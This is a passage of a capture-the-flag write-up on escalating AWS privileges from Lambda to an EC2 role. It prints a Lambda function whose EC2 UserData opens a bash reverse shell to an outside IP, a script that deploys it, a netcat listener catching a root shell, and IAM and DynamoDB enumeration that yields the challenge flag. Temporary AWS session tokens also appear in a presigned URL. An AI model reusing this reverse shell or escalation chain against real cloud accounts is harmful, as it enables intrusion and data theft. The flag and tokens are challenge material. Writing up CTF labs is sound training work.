Dk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d" -O special.zip
--2022-09-09 06:02:09--  https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d
Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)... 52.219.37.35
Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)|52.219.37.35|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 416 [application/zip]
Saving to: ‘special.zip’

special.zip                               100%[=====================================================================================>]     416  --.-KB/s    in 0.001s  

2022-09-09 06:02:09 (635 KB/s) - ‘special.zip’ saved [416/416]


┌──(kali㉿kali)-[/tmp]
└─$ dtrx special.zip        
special.zip contains one file but its name doesn't match.
 Expected: special
   Actual: main.py
You can:
 * extract the file _I_nside a new directory named special
 * extract the file and _R_ename it special
 * extract the file _H_ere
What do you want to do?  (I/r/h) 

┌──(kali㉿kali)-[/tmp]
└─$ cd special 

┌──(kali㉿kali)-[/tmp/special]
└─$ ls
main.py

┌──(kali㉿kali)-[/tmp/special]
└─$ cat main.py                        
import boto3

def lambda_handler(event, context):

    # Work in Progress: Requires help from Agents! 

    # ec2 = boto3.resource('ec2')

    # instances = ec2.create_instances(
    #    ImageId="???",
    #    MinCount=1,
    #    MaxCount=1,
    #    InstanceType="t2.micro"
    #)

    return {
        'status': 200,
        'results': 'This is work in progress. Agents, palindrome needs your help to complete the workflow! :3'
    }

┌──(kali㉿kali)-[/tmp/special]
└─$

AWS EC2

Lambda Privesc to EC2 agent role

Find a random Amazon Machine Image. Make sure to find one from the specific region

I made a program to launch an EC2 instance, and through the UserData Parameter, create a reverse shell connection to the attacker.

lambda_function.py

import boto3

# https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
USERNAME="user-95abe82de2174edb98135e48ef896bbd"
SCRIPT=f"""#!/bin/bash
/bin/bash -i >& /dev/tcp/18.141.129.246/16058 0>&1
"""

ROLE="arn:aws:iam::051751498533:role/ec2_agent_role"
REGION_NAME="ap-southeast-1"
def lambda_handler(event, context):
    ec2 = boto3.resource('ec2', region_name=REGION_NAME)

    # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.ServiceResource.create_instances
    # https://codeflex.co/boto3-create-ec2-with-tags/
    instances = ec2.create_instances(
        ImageId="ami-0b89f7b3f054b957e", # Found on AWS Portal
        MinCount=1,
        MaxCount=1,
        InstanceType="t2.micro",
        SubnetId = 'subnet-0aa6ecdf900166741', 
        IamInstanceProfile={
            'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile'
        },
        TagSpecifications=[
            {
                'ResourceType': 'instance',
                'Tags': [
                    {
                        'Key': 'agent',
                        'Value': USERNAME
                    },
                ]
            }
        ],
        UserData=SCRIPT
    )
    instance = instances[0]
    return (instance.id, instance.private_ip_address)

#lambda_handler(None, None)

./run.sh

#https://linuxhint.com/generate-random-string-bash/
LAMBDA_FUNC=user-95abe82de2174edb98135e48ef896bbd-ec2run-$(openssl rand -hex 5)

pip install --target ./package boto3
cd package
zip -r ../function.zip . > /dev/null
cd ..
zip -g function.zip lambda_function.py
rm -rf package

aws lambda create-function --zip-file fileb://function.zip --runtime python3.7 --handler lambda_function.lambda_handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role --function-name $LAMBDA_FUNC --timeout 60
aws lambda invoke --function-name $LAMBDA_FUNC /tmp/out.txt
cat /tmp/out.txt

Running the exploit

┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ls
lambda_function.py  run.sh

┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ./run.sh
updating: lambda_function.py (deflated 48%)
{
    "FunctionName": "user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2",
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2",
    "Runtime": "python3.7",
    "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 9332416,
    "Description": "",
    "Timeout": 60,
    "MemorySize": 128,
    "LastModified": "2022-09-09T13:17:26.523+0000",
    "CodeSha256": "zf3I7mXTzYZpEjT3J42YJG5IkSRrjla3zq4gDHOXdmM=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "90d3e86c-ef09-46ba-8bcf-d016c6aa5a97",
    "State": "Pending",
    "StateReason": "The function is being created.",
    "StateReasonCode": "Creating",
    "PackageType": "Zip",
    "Architectures": [
        "x86_64"
    ],
    "EphemeralStorage": {
        "Size": 512
    }
}
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
["i-0647f6b14ee6acc28", "10.0.58.178"]                                                                                                                                                                        
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35990
bash: no job control in this shell
[root@ip-10-0-58-178 /]#

AWS DynamoDB

Role Information

The EC2 agent role is shown to have privileges to access DynamoDB.

┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-role-policies --role-name "ec2_agent_role"   
{
    "AttachedPolicies": [
        {
            "PolicyName": "iam_policy_for_ec2_agent_role",
            "PolicyArn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"
        }
    ]
}

┌──(kali㉿kali)-[~]
└─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"                       
{
    "Policy": {
        "PolicyName": "iam_policy_for_ec2_agent_role",
        "PolicyId": "ANPAQYDFBGMSUUGDZFFBM",
        "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "AWS IAM Policy for EC2 agent node",
        "CreateDate": "2022-07-22T09:29:34+00:00",
        "UpdateDate": "2022-07-22T09:29:34+00:00",
        "Tags": []
    }
}

┌──(kali㉿kali)-[~]
└─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role" --version-id "v1"
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "dynamodb:DescribeTable",
                        "dynamodb:ListTables",
                        "dynamodb:Scan",
                        "dynamodb:Query"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "VisualEditor0"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-07-22T09:29:34+00:00"
    }
}

┌──(kali㉿kali)-[~]
└─$

Viewing Table

I enumerated through DynamoDB to get the flag.

[root@ip-10-0-47-186 /]# aws dynamodb list-tables --region ap-southeast-1
aws dynamodb list-tables --region ap-southeast-1
{
    "TableNames": [
        "flag_db"
    ]
}
[root@ip-10-0-47-186 /]# aws dynamodb scan --table-name flag_db --region ap-southeast-1                
{
    "Count": 1, 
    "Items": [
        {
            "secret": {
                "S": "TISC{iT3_N0t_s0_C1oUdy}"
            }, 
            "name": {
                "S": "flag"
            }
        }
    ], 
    "ScannedCount": 1, 
    "ConsumedCapacity": null
}
[root@ip-10-0-47-186 /]#

Flag

TISC{iT3_N0t_s0_C1oUdy}